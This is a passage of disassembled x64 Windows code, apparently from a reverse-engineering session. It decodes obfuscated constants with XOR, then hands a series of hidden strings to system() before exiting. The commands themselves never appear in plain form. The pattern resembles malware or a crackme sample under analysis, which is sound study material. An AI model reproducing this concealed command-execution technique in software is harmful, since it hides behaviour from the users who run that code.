mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xba0], rax
movabs rax, 0xc9fc8df752202f79
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xba8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22e0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22e8], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22f0], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22f8], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2300], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2308], rax
vmovdqu ymm0, ymmword [rbp + 0x22e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb80]
vmovdqa ymmword [rbp + 0xb80], ymm1
vmovdqa xmm2, xmmword [rbp + 0xba0]
vxorps xmm2, xmm2, xmmword [rbp + 0x2300]
vmovdqa xmmword [rbp + 0xba0], xmm2
lea rdx, [rbp + 0xb80]
vzeroupper
call fcn.140072a90
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xa6a256ba43423b23
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x6b39f41b1571b16b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x63f81facdbacbbc9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x7b0], rax
movabs rax, 0xbc73357d36932903
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x7b8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e20], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e28], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e30], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e38], rax
vmovdqu ymm0, ymmword [rbp + 0x1e20]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x7a0], ymm1
lea rdx, [rbp + 0x7a0]
vzeroupper
call fcn.140072a90
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0x13b0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1510]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1530]
call fcn.14000c850
nop
lea rcx, [rbp + 0x14f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x14d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x14b0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1490]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1470]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1450]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1430]
call fcn.14000c850
nop
lea rcx, [rbp + 0x16d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x16f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1710]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1730]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1750]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1770]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1790]
call fcn.14000c850
nop
lea rcx, [rbp + 0x17f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1870]
call fcn.14000c850
nop
lea rcx, [rbp + 0x15d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x15f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1610]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1630]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1650]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1670]
call fcn.14000c850
nop
lea rcx, [rbp + 0x13d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x13f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1410]
call fcn.14000c850
xor eax, eax
mov rcx, qword [rbp + 0x2960]
xor rcx, rsp
call fcn.1400e4d60
lea r11, [rsp + 0x29c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x1430]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1450]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1470]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1490]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x14b0]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x14d0]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x14f0]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1530]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1510]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3